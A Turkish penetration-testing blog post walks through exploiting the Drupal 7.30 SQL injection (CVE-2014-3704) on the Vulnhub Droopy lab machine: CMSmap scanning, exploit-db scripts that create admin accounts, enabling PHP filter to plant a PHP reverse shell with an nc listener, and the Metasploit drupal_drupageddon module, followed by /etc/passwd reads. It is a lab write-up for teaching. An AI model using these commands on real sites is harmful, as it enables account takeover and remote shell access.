CMSmap Aracı ile Tespit Edilen Drupal 7.30 Üzerindeki SQL Enjeksiyonu Zafiyetinin İstismarı

Web uygulamaları sızma testleri sırasında güncel olmayan Drupal sürümünün kullanılması zafiyete sebep olabilir. Bu yazıda, Droopy: v0.2 sanal makinesi üzerindeki Drupal 7.30 sürümünde bulunan CVE-2014-3704 ID’li SQL enjeksiyonu istismar edilerek uygulama kullanıcısı (www-data) yetkileri ile komut satırı erişimi elde edilecektir.

Yazıda kullanılan Droopy: v0.2 sanal makinesi Vulnhub sitesinden indirilebilir.

https://www.vulnhub.com/entry/droopy-v02,143/

Mevcut uygulama arayüzü aşağıdaki gibidir.

http://172.20.50.138/

 

1) CMSmap Aracı Kullanılarak Drupal 7.30 Üzerindeki SQL Enjeksiyonu Zafiyetinin Keşfi

CMSmap aracı indirilerek çalıştırıldığında kullanımı ile ilgili detaylı bilgi elde edinilebilir.

git clone https://github.com/Dionach/CMSmap.git
cd CMSmap
ls
./cmsmap.py

 

CMSmap aracı ile belirli bir CMS belirtilmeden (“-f D” gibi) ve istismar kodları exploit-db sitesinden araştırılmadan (“–noedb”) detaylı tarama gerçekleştirilebilir. Bu tarama ile Drupal 7 kullanıldığı, tema ve dosya detayları listelenebilmektedir. Ayrıca “SA-CORE-2014-005” ID’li bir zafiyetin tespit edildiği görülmüştür.

./cmsmap.py -t http://172.20.50.138 -F -o Sonuc.txt –noedb

 

Tarama ile önemli olabilecek dizinler ve dosyalar, modüller de listelenebilmektedir.

 

Ayrıca dizin gezinimi açık olan dizinler de listelenebilir.

 

CMSmap aracı ile kullanılan sürüm bilgisini tespit etmek için CHANGELOG.txt dosyası da incelenebilir.

http://172.20.50.138/CHANGELOG.txt

 

2) Drupal 7.30 Üzerindeki SQL Enjeksiyonu Zafiyeti ile Yeni Uygulama Kullanıcısı Oluşturulması: 34992.txt

CMSmap aracı ile tavsiye edilen “SA-CORE-2014-005” / CVE-2014-3704 ID’li zafiyete ait istismar kodu bulunmaktadır.

searchsploit Drupal 7.30
searchsploit Drupal 7.3
cp /usr/share/exploitdb/platforms/php/webapps/34992.txt Drupal-7.30-Istismar.py

 

Tespit edilen SQL enjeksiyonu zafiyetine ait istismar kodu ile yönetici yetkilerine sahip olacak şekilde yeni bir kullanıcı oluşturulabilmektedir.

python Drupal-7.30-Istismar.py -t http://172.20.50.138/ -u Yonetici -p Aa123456

 

Bu kullanıcı ile oturum açılabilmiştir.

 

3) Drupal 7.30 Üzerindeki SQL Enjeksiyonu Zafiyeti ile Yeni Uygulama Kullanıcısı Oluşturulması: 34984.py

İstismar için kullanılabilecek bir diğer kod da 34984 ID’li istismar koddur.

https://www.exploit-db.com/exploits/34984/

 

Bu kod çalıştırılmak istendiğinde “ImportError: No module named drupalpass” hatası alınmaktadır. Kod içerisinde “drupalpass” modülünün yüklenmesi gerektiği uyarısı verilmektedir.

cp /usr/share/exploitdb/platforms/php/webapps/34984.py .
python 34984.py

 

İlgili dosya indirilip çalıştırıldığında ise, eksik parametre hatası alınmaktadır. Kaynak koda bakıldığında 3 adet parametre (hedef uygulama, yeni oluşturulacak kullanıcı adı ve yeni oluşturulacak kullanıcının parolası) istendiği görülebilir.

wget https://raw.githubusercontent.com/cvangysel/gitexd-drupalorg/master/drupalorg/drupalpass.py
md5sum drupalpass.py
python 34984.py
grep argv 34984.py

 

Böylece yeni kullanıcı oluşturulmuş ve bu hesap ile oturum açılabilmiştir.

python 34984.py http://172.20.50.138/ YeniYonetici Parola123

 

4) Oturum Açılmış Drupal Arayüzünden İşletim Sistemi Komut Satırına Erişim Sağlanması

Oturum açıldıktan sonra zararlı bir PHP sayfası gömülerek komut satırı erişimi elde edilebilir. Bu işlem “Text formats” bağlantısında bulunan sayfadaki yetkilendirme ile gerçekleştirilecektir. Ancak mevcut durumda PHP kodu eklenmesi için bir metin formatı bulunmamaktadır.

Home > Administration > Configuration > Content authoring > Text formats

 

PHP kodlarının sunucu tarafından işlenebilmesi için PHP Filter modülü etkinleştirilerek Save Configuration butonu ile bu değişiklik kaydedilir.

Home > Administration > Modules > PHP filter

 

Böylece metin formatı olarak “PHP code” alanı eklenmiştir. Bu pencerede PHP ekleme işlem yetkisi tüm rollere verilerek kaydedilir.

Home > Administration > Configuration > Content authoring > Text formats > PHP Code: Configure

 

PHP sayfası eklemek için Content sekmesinden yeni bir içerik ekleme işlemi gerçekleştirilir.

Home > Administration > Add Content > Basic Page

 

Gömülecek sayfa içeriği için Kali üzerinde gelen php-reverse-shell.php dosyası (/usr/share/webshells/php/php-reverse-shell.php) kullanılabilir. Gömülecek PHP kodu ile ters bağlantı oluşacaktır. Kod gömülmeden önce talebi yakalayacak dinleyici başlatılır.

nc -nlvp 56789

 

Zararlı PHP içeriği, metin formatı “Php Code” seçilerek gömülür.

 

İçerik kaydedildiğinde uygulama kullanıcısı (www-data) yetkileri ile ters bağlantı elde edilmiş olur.

python -c ‘import pty;pty.spawn(“/bin/bash”)’
cat /etc/*release*

 

5) Drupal 7.30 Üzerindeki SQL Enjeksiyonu Zafiyetinin MSF drupal_drupageddon Modülü ile İstismarı

Drupal 7.30 üzerindeki SQL enjeksiyonu zafiyetini kullanarak yönetici yetkileri ile kullanıcı oluşturmak, PHP filtrelemeyi etkinleştirmek ve yetkilendirmesi yapılandırmak yolu ile Meterpreter bağlantısı elde etmek için MSF drupal_drupageddon istismar modülü de kullanılabilir. Modül varsayılan olarak hedef uygulamanın erişim bilgilerini almaktadır.

use exploit/multi/http/drupal_drupageddon
set RHOST 172.20.50.138
set RPORT 80
show options

 

Modül çalıştırılarak uygulama kullanıcısı (www-data) yetkileri ile Meterpreter erişimi elde edilmiş olur.

exploit
getuid
shell
head -3 /etc/passwd
grep -Ev “nologin$|false$” /etc/passwd

 

Kaynaklar:

http://www.hackingarticles.in/hack-droopy-vm-ctf-challenge/
http://www.security-exposed.com/2016/06/droopy-v02-vulnhub.html
https://two06.blogspot.com.tr/2016/04/droopy-v02-ctf-writeup.html
https://www.drupalwatchdog.com/volume-5/issue-2/bl-box-wh-hat
http://rotimiakinyele.com/video-droopy-v0-2-ctf-solution.jsp

 

 

Yazarın Bilgileri

Ertuğrul BAŞARANOĞLU
Ertuğrul BAŞARANOĞLU

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Kullanabileceğiniz HTLM etiketleri ve özellikleri: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code class="" title="" data-url=""> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong> <pre class="" title="" data-url=""> <span class="" title="" data-url="">

Bu sayfada incelenen konulardan doğacak sorunlar kişinin kendi sorumluluğundadır.